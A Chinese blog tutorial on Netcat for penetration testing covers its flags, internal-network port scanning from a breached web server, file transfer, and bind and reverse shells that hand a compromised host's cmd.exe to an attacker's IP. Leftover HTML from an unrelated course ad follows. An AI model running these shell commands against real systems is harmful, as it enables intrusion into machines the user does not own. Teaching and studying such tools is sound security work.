渗透工具教程:Netcat瑞士军刀(基础使用)教程【NC反弹】

目录

Netcat

常用参数:

常见的用法:

端口扫描:

聊天

文件传输

反弹shell

蜜罐


Netcat

Netcat 常称为 nc,拥有“瑞士军刀”的美誉。nc 小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能,它基于socket协议工作。在渗透测试领域,我们通常利用它来反弹shell。

常用参数:

  •   -l: 开启监听
  •   -p:指定端口
  •   -t: 以telnet形式应答
  •   -e:程序重定向
  •   -n:以数字形式表示ip
  •   -v:显示执行命令过程
  •   -z :  不进行交互,直接显示结果
  •   -u :使用UDP协议传输
  •   -w :  设置超时时间

常见的用法:

端口扫描:

如果是想单纯的端口扫描的话,利用其它工具比如 nmap会更好。nc端口扫描最主要的用途是,当我们获得了一个网站的权限之后,我们想再渗透进该网站的内网进行渗透。然而,我们的nmap工具是不能扫描到内网的,所以这时我们可以把nc上传到web服务器上,利用它来扫描内网主机。而由于nc体积很小,所以不容易被发现。

nc  -z -v -n 192.168.10.14  20-23   #端口或端口范围
  
  • 1

如果探测到端口开放了,比如上面的 80 端口开放了,我们就可以继续探测其banner信息: 


  
  1. nc -v -n 192 .168 .10 .14  80
  2. 然后输入 get
  • 1

聊天

我们还可以利用 nc 做一个简易版本的聊天工具,通过一边监听端口,一边发送消息去该端口,形成一个简易版本的服务端—客户端模型。

服务器端:

nc   -lvp    8888      #监听8888端口  -l 监听 -v 显示详细信息  -p 指定端口
  
  • 1

客户端:

nc  -nv  10.96.10.208  8888    #连接到服务器的8888端口  -n以数字形式显示ip  -v显示详细信息
  
  • 1

文件传输

我们可以利用 nc 往客户端传送文件

服务器端:

nc  -lvp  8888 < test.txt
  
  • 1

客户端:

nc -nv 10.96.10.208 8888 > test.txt
  
  • 1

反弹shell

正向连接,意思就是我们主动连接肉鸡

假如我们现在入侵到了一台主机上,我们可以通过执行以下命令将该主机的cmd命令弹到8888端口上

肉鸡

nc -lvv -p 8888 -t -e cmd.exe
  
  • 1

然后我们的主机访问该肉鸡的8888端口,神奇的事就发生了。我们当前的cmd环境变成了目的主机的cmd环境了

我们的主机

nc  -nvv  192.168.10.14  8888
  
  • 1

反向连接,意思就是我们监听端口,然后肉鸡主动连接到我们的主机

我们的主机

nc  -lvp  8888
  
  • 1

肉鸡

nc  -t -e cmd.exe 10.96.10.208 8888
  
  • 1

蜜罐

作为蜜罐

一直监听8888端口,知道 ctrl+C 停止

​​​​​​​nc  -L -p  8888  > log.txt   #监听8888端口,并且将日志信息写入log.txt
  
  • 1

                                </div>
已标记关键词 清除标记
相关推荐
<p> <b><span style="background-color:#FFE500;">【超实用课程内容】</span></b> </p> <p> <br /> </p> <p> <br /> </p> <p> 本课程内容包含讲解<span>解读Nginx的基础知识,</span><span>解读Nginx的核心知识、带领学员进行</span>高并发环境下的Nginx性能优化实战,让学生能够快速将所学融合到企业应用中。 </p> <p> <br /> </p> <p style="font-family:Helvetica;color:#3A4151;font-size:14px;background-color:#FFFFFF;"> <b><br /> </b> </p> <p style="font-family:Helvetica;color:#3A4151;font-size:14px;background-color:#FFFFFF;"> <b><span style="background-color:#FFE500;">【课程如何观看?】</span></b> </p> <p style="font-family:Helvetica;color:#3A4151;font-size:14px;background-color:#FFFFFF;"> PC端:<a href="https://edu.csdn.net/course/detail/26277"><span id="__kindeditor_bookmark_start_21__"></span></a><a href="https://edu.csdn.net/course/detail/27216">https://edu.csdn.net/course/detail/27216</a> </p> <p style="font-family:Helvetica;color:#3A4151;font-size:14px;background-color:#FFFFFF;"> 移动端:CSDN 学院APP(注意不是CSDN APP哦) </p> <p style="font-family:Helvetica;color:#3A4151;font-size:14px;background-color:#FFFFFF;"> 本课程为录播课,课程永久有效观看时长,大家可以抓紧时间学习后一起讨论哦~ </p> <p style="font-family:"color:#3A4151;font-size:14px;background-color:#FFFFFF;"> <br /> </p> <p class="ql-long-24357476" style="font-family:"color:#3A4151;font-size:14px;background-color:#FFFFFF;"> <strong><span style="background-color:#FFE500;">【学员专享增值服务】</span></strong> </p> <p class="ql-long-24357476" style="font-family:"color:#3A4151;font-size:14px;background-color:#FFFFFF;"> <b>源码开放</b> </p> <p class="ql-long-24357476" style="font-family:"color:#3A4151;font-size:14px;background-color:#FFFFFF;"> 课件、课程案例代码完全开放给你,你可以根据所学知识,自行修改、优化 </p> <p class="ql-long-24357476" style="font-family:"color:#3A4151;font-size:14px;background-color:#FFFFFF;"> 下载方式:电脑登录<a href="https://edu.csdn.net/course/detail/26277"></a><a href="https://edu.csdn.net/course/detail/27216">https://edu.csdn.net/course/detail/27216</a>,播放页面右侧点击课件进行资料打包下载 </p> <p> <br /> </p> <p> <br /> </p> <p> <br /> </p>
©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页